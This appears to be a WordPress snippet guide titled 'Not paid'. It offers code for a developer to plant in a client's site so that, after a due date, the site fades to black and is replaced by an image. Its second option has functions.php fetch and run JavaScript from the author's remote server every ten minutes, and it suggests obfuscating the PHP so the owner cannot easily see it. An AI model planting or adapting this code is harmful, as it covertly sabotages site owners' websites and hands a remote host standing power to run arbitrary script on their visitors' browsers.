☠️Not paid

Option 1 - Quick use

  1. Change Due date

  2. Change Dealine

  3. Change Image

Add to function.php

function add_js_header(){
    ?>
<script>
document.addEventListener("DOMContentLoaded", function() {
    /* change these variables as you wish */
    var due_date = new Date('2023-03-07'); //Change due date here
    var days_deadline = 1; //Must >= 1
    /* stop changing here */
    
    var current_date = new Date();
    var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
    var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
    var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
    
    if(days > 0) {
        var days_late = days_deadline - days;
        var opacity = (days_late * 100 / days_deadline) / 100;
        opacity = (opacity < 0) ? 0 : opacity;
        opacity = (opacity > 1) ? 1 : opacity;
        
        // Tạo phần tử overlayElement
        var overlayElement = document.createElement("div");
        overlayElement.className = "overlayElement";
        overlayElement.style.position = "fixed";
        overlayElement.style.top = "0";
        overlayElement.style.left = "0";
        overlayElement.style.width = "100%";
        overlayElement.style.height = "100%";
        overlayElement.style.backgroundColor = "rgba(0, 0, 0, " + opacity + ")";
        overlayElement.style.zIndex = "9999"; // Đảm bảo phủ lên tất cả các phần tử khác
        document.body.appendChild(overlayElement);
        
        // Lưu nội dung body hiện tại vào biến content
        var content = document.body.innerHTML;

        // Xóa nội dung body hiện tại
        document.body.innerHTML = '';

        // Thêm hình ảnh vào body
        var imageElement = document.createElement("img");
        imageElement.className = "imageElement";
        imageElement.src = "https://thaiduykhang.id.vn/wp-content/uploads/2024/02/Screenshot_2.jpg"; // Thay đổi đường dẫn đến hình ảnh của bạn ở đây
        imageElement.style.position = "fixed";
        imageElement.style.top = "50%";
        imageElement.style.left = "50%";
        imageElement.style.transform = "translate(-50%, -50%)";
        imageElement.style.zIndex = "10000";
        imageElement.style.objectFit = "contain"; // Đảm bảo hình ảnh hiển thị trên cùng
        document.body.appendChild(imageElement);

        // Thêm nội dung body gốc vào overlayElement
        overlayElement.innerHTML = content;
    }
});
</script>
<?php
}
add_action('wp_head','add_js_header');
?>

Add to custom JS

document.addEventListener("DOMContentLoaded", function() {
    /* change these variables as you wish */
    var due_date = new Date('2023-03-07'); //Change due date here
    var days_deadline = 1; //Must >= 1
    /* stop changing here */
    
    var current_date = new Date();
    var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
    var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
    var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
    
    if(days > 0) {
        var days_late = days_deadline - days;
        var opacity = (days_late * 100 / days_deadline) / 100;
        opacity = (opacity < 0) ? 0 : opacity;
        opacity = (opacity > 1) ? 1 : opacity;
        
        // Tạo phần tử overlayElement
        var overlayElement = document.createElement("div");
        overlayElement.className = "overlayElement";
        overlayElement.style.position = "fixed";
        overlayElement.style.top = "0";
        overlayElement.style.left = "0";
        overlayElement.style.width = "100%";
        overlayElement.style.height = "100%";
        overlayElement.style.backgroundColor = "rgba(0, 0, 0, " + opacity + ")";
        overlayElement.style.zIndex = "9999"; // Đảm bảo phủ lên tất cả các phần tử khác
        document.body.appendChild(overlayElement);
        
        // Lưu nội dung body hiện tại vào biến content
        var content = document.body.innerHTML;

        // Xóa nội dung body hiện tại
        document.body.innerHTML = '';

        // Thêm hình ảnh vào body
        var imageElement = document.createElement("img");
        imageElement.className = "imageElement";
        imageElement.src = "https://thaiduykhang.id.vn/wp-content/uploads/2024/02/Screenshot_2.jpg"; // Thay đổi đường dẫn đến hình ảnh của bạn ở đây
        imageElement.style.position = "fixed";
        imageElement.style.top = "50%";
        imageElement.style.left = "50%";
        imageElement.style.transform = "translate(-50%, -50%)";
        imageElement.style.zIndex = "10000";
        imageElement.style.objectFit = "contain"; // Đảm bảo hình ảnh hiển thị trên cùng
        document.body.appendChild(imageElement);

        // Thêm nội dung body gốc vào overlayElement
        overlayElement.innerHTML = content;
    }
});

Option 2 - API method

  1. Save obfuscator script to notpaid.js (if fetch api)

  2. Upload notpaid.js to another storge and get link file .js

  3. Add link to script fetch api

  4. [Optional] Obfuscator php in https://www.gaijin.at/en/tools/php-obfuscator (Check: Remove comments, Remove whitespaces, Obfuscate function and class names, Encode strings).

  5. Add to function.php

FetchAPI

function execute_js_from_api() {
    $api_url = 'https://thaiduykhang.id.vn/not-paid/not-paid.js'; // URL của file script
    $temp_file = wp_upload_dir()['basedir'] . '/temp-script.js'; // Đường dẫn file tạm
    $cache_time_key = 'temp_script_last_update'; // Tên meta key để lưu thời gian cuối cùng
    $cache_duration = 10 * MINUTE_IN_SECONDS; // Thời gian cache (10 phút)

    // Lấy thời gian cuối cùng script được cập nhật
    $last_update = get_option( $cache_time_key, 0 );
    $current_time = time();

    // Chỉ tải nội dung mới nếu cache đã hết hạn
    if ( $current_time - $last_update >= $cache_duration ) {
        $response = wp_remote_get( $api_url );

        if ( is_wp_error( $response ) ) {
            error_log( 'Error occurred when calling API: ' . $response->get_error_message() );
            return;
        }

        $body = wp_remote_retrieve_body( $response );

        // Lưu file mới nếu khác nội dung
        if ( file_exists( $temp_file ) ) {
            $existing_content = file_get_contents( $temp_file );

            if ( hash('sha256', $body) !== hash('sha256', $existing_content) ) {
                file_put_contents( $temp_file, $body );
            }
        } else {
            // Tạo file mới nếu chưa tồn tại
            file_put_contents( $temp_file, $body );
        }

        // Cập nhật thời gian lần cuối cùng nội dung được cập nhật
        update_option( $cache_time_key, $current_time );
    }

    // Enqueue script từ file tạm
    wp_enqueue_script(
        'external-script',                              // Handle
        content_url( 'uploads/temp-script.js' ),        // URL tới file trong thư mục uploads
        array(),                                        // Dependencies
        null,                                           // Version
        true                                            // Load ở footer
    );
}
add_action( 'wp_enqueue_scripts', 'execute_js_from_api' );

Last updated